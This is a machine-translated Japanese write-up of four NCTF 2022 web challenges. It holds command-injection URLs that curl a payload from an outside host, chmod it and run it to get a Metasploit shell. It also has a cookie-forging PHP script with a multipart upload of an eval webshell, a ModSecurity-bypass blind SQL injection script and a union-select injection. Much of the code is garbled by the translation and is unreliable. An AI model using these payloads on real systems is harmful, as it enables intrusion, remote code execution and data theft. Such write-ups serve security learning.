1.calc
質問アドレス:http://116.205.139.16633608001/
右クリック /ソースソースコード
@app.route( '/calc'、method=['get'])
def calc():
ip=request.remote_addr
num=request.values.get( 'num')
log='echo {0} {1} {2} ./tmp/log.txt'.format(%歳〜m%m%M%S',time.localime())、num)
WAF(num):の場合
try:
data=eval(num)
os.system(log)
:を除く
合格
str(データ)を返す
else:
「waf !」を返します
フラスコエラーは、WAFのフィルタリングルールを確認するために報告できます
http://162.14.110.241:8050/calc?num []=
def waf(s):
blacklist=['import'、 '('、 ')'、 '#'、 '@'、 '^'、 '$'、 '、' '?'、 '`'、 ' '、' _ '、' | ';'; '、' '、' '、' '、{'、 '}'、 ''、 '' '、' getattr '、' os '、' system '、' class '、' subclasses '、mro'、 'request'、 'args'、 'eval'、 'if'、 '' subprocess '、' 'file'、 'oppen'、 '' '' '' '' '' '' '' '' '' '' '' 'popen builtins '、' compile '、' execfile '、' from_pyfile '、' config '、' local '、' self '、' item '、' getItem '、' getattribute '、' func_globals '、' __ in exattribute '、' join '、' __ dict__ ']]
flag=true
BlackList:ではありません
s.lower():のno.lower()の場合
flag=false
印刷(いいえ)
壊す
フラグを返します
試した後、私はnumを操作し、%0aを使用して異なるコマンドを分離することができることがわかりました。
次に、ステートメントはeval(num)によって正常に実行される必要があることに注意してください。それ以外の場合は、os.system(log)にジャンプしないことに注意してください。解決策は、コマンドを単一の引用で包むことです。
/calc?num=%0a'curl'%09'gtwq54.dnslog.cn'%0a
バックテックはエコーを引き出すのは簡単ではないので、私は単にカールを使用してペイロードをダウンロードし、MSFでオンラインになります
/calc?num=%0a'curl'%09'http://x.x.x.x:yyy/testapp'%09'-o'%09'/tmp/testapp'%0a
/calc?num=%0a'chmod '%09'777'%09 '/tmp/testapp'%0a
/calc?num=%0a '/tmp/testapp'%0a
2.ez_php
質問アドレス:http://81.70.155.160/
ayacms githubアドレス
https://github.com/loadream/ayacms
問題には多くの脆弱性がありますが、バックグラウンド/フロントデスクにログインする必要があります
バックグラウンドadmin.phpは弱いパスワードを試しましたが失敗し、フロントデスクが登録できませんでした.
そこで、コード監査のためにソースコードを直接ダウンロードしてから、1日のほとんどを視聴しました
ソースコードの多くの場所が定義されています( 'in_aya')またはexit( 'アクセス拒否');つまり、直接アクセスすることはできず、IN_aya定数を定義した他のPHPファイルを介して含めるまたは必要とする必要があります。
この考え方は、ファイルに含まれる脆弱性を見つけることに変換されます
私は長い間探してきましたが、 /ya /admin.inc.phpで場所を見つけました
get_cookieはAYA_プレフィックスでCookie値を取得し、Decryptは対応する暗号化機能のソースコードを見つけることもできます。
暗号化中のaya_keyは、デフォルト値AAAです
ファイルが含まれた後、アイデアははるかに広くなり、それを既知の脆弱性と組み合わせます
https://github.com/loadream/ayacms/issues/3
ペイロード
?php
関数ランダム($ length=4、$ chars='abcdefghijklmnopqrstuvwxyz'){
$ hash='';
$ max=strlen($ chars)-1;
for($ i=0; $ i $ length; $ i ++){
$ hash。=$ chars [mt_rand(0、$ max)];
}
$ hashを返します。
}
function kecrypt($ txt、$ key){
$ key=md5($ key);
$ len=strlen($ txt);
$ ctr=0;
$ str='';
for($ i=0; $ i $ len; $ i ++){
$ ctr=$ ctr==32?0: $ ctr;
$ str。=$ txt [$ i]^$ key [$ ctr ++];
}
$ strを返します。
}
function encrypt($ txt、$ key=''){
$ keyまたは$ key='aaa';
$ rnd=random(32);
$ len=strlen($ txt);
$ ctr=0;
$ str='';
for($ i=0; $ i $ len; $ i ++){
$ ctr=$ ctr==32?0: $ ctr;
$ str。=$ rnd [$ ctr]。($ txt [$ i]^$ rnd [$ ctr ++]);
}
return str_replace( '='、 ''、base64_encode(kecrypt($ str、$ key)));
}
echo necrypt( './module/admin/fst_upload');
HTTPパッケージ
post /aya/admin.inc.php http/1.1
HOST: 81.70.155.160
Content-Length: 244
Cache-Control: Max-age=0
アップグレード-Insecure-Requests: 1
Origin: null
Content-Type: MultiPart/Form-Data;境界=--- webkitformboundarykhsd4wq8ubmzcnd1
user-agent: mozilla/5.0(windows nt 10.0; win64; x64)applewebkit/537.36(khtml、geckoのような)chrome/107.0.0.0 safari/537.36 edg/107.0.1418.6222
Accept: Text/HTML、Application/XHTML+XML、Application/XML; Q=0.9、Image/Webp、Image/Apng、*/*; Q=0.8、Application/Signed-Exchange; v=b3; q=0.9
Accept-Encoding: gzip、deflate
Accept-Language: Zh-Cn、Zh; q=0.9、en; q=0.8、en-gb; q=0.7、en-us; q=0.6
cookie: aya_admin_lang=qwwpiaj9eitzzeeoqwtyofa0dcuamfttv2anpbulrmfnkbrmfteqg1zxtdfaaveyqymwda
Connection:閉じます
----- webkitformboundarykhsd4wq8ubmzcnd1
content-disposition: form-data; name='upfile'; filename='xzxz123123123.php'
Content-Type:アプリケーション/Octet-Stream
?php eval($ _ request [1]); phpinfo();
----- webkitformboundarykhsd4wq8ubmzcnd1
3.ezbypass
ヒントヒントwafはmodsecurityです
タイトルアドレス:http://162.14.110.241:8099/sql.php http://121.37.11.207:8099/sql.php
オンラインで参照記事を見つけました
https://blog.h3xstream.com/2021/10/bypassing-modsecurity-waf.html
残りはスクリプトを使用してペイロードを直接追跡することです。質問にプロンプトが私のパスワードを見つけることができるので、パスワード列のコンテンツを推測してください。
リクエストをインポートします
インポート時間
flag=''
i=1
true:
min=32
max=127
最小max:
time.sleep(0.08)
mid=(min + max)//2
印刷(chr(mid))
payload='if(ascii 1.e(substring(1.e(users.info)、{}、1)){}、1,0)'。形式(i、mid)
url='http://162.14.110.241:8099/sql.php?id={}'。形式(ペイロード)
res=requests.get(url)
res.text:の「letian」の場合
min=Mid + 1
else:
max=mid
flag +=chr(min)
I +=1
print( 'found'、flag)
4.ez_sql
質問アドレス:http://81.70.155.16033603000/https://NCTF.H4CK.fun/static/upload/files/06b43b853452e30514edf6bd709b3f99.zip
タイトルの説明はソースコードを示します
app.js
Import {Application、Router、Helpers} from 'https://deno.land/x/oak/mod.ts';
'./db.js'からのインポートフライト;
const app=new Application();
const router=new Router();
router.get( '/'、async(ctx)={
ctx.response.body='フライトをチェックしてください `/flight?id=`';
});
router.get( '/flight'、async(ctx)={
const id=helpers.getquery(ctx、{mergeparams: true});
const info=await flight.select({leavess: 'departing'、destination: 'destination'})。where(id).all();
ctx.response.body=info;
});
app.use(router.routes());
app.use(router.allowedMethods());
app.listen({port: 3000、hostname: '0.0.0.0'});
db.js
'https://deno.land/x/denodb@v1.0.40/mod.ts'から{dataTypes、database、model、sqlite3connector}をインポート
const connector=new sqlite3connector({
filepath: '/tmp/flight.db'
});
const db=new Database(connector);
クラスフライトはモデルを拡張します{
静的テーブル='Flight';
静的フィールド={
ID: {PrimaryKey: true、autoincrement: true}、
Department: Datatypes.String、
Destination: datacypes.string、
};
}
クラスフラグはモデルを拡張します{
静的テーブル='flag';
静的フィールド={
flag: datatypes.string、
};
}
db.link([flight、flag]);
await db.sync({drop: true});
flight.createを待っています({
部門:「パリ」、
Destination: '東京'、
});
flight.createを待っています({
部門: 'ラスベガス'、
Destination: 'ワシントン'、
});
flight.createを待っています({
部門:「ロンドン」、
Destination: 'サンフランシスコ'、
});
flag.createを待っています({
flag: deno.env.get( 'flag')、
});
デフォルトフライトをエクスポートします
hack.lu 2022 foodapiとほぼまったく同じ、参照記事は次のとおりです
https://blog.huli.tw/2022/10/31/hacklu-ctf-2022-writeup/
https://gist.github.com/parrot409/f7f5807478f50376057fba755865bd98
https://gist.github.com/terjanq/1926a1afb420bd98ac7b97031e377436
唯一の違いは、元の質問IDがRESTFUL APIフォームを使用しているのに対し、この質問はパラメーターに渡されるため、直接コピーすることはできません
ただし、記事で分析された原則を見ると、このアイデアはパラメーターを使用してSQLステートメントをスプライスすることであることがわかります。
http://81.70.155.160:3000/flight?id=1?=aおよび0ユニオン選択フラグ、2から2。
添付ファイルのダウンロード:https://github.com/x1ct34m/nctf2022
元のテキストの転載:https://EXP10IT.CN/2022/12/NCTF-2022-web-writeup/#calc
Recommended Comments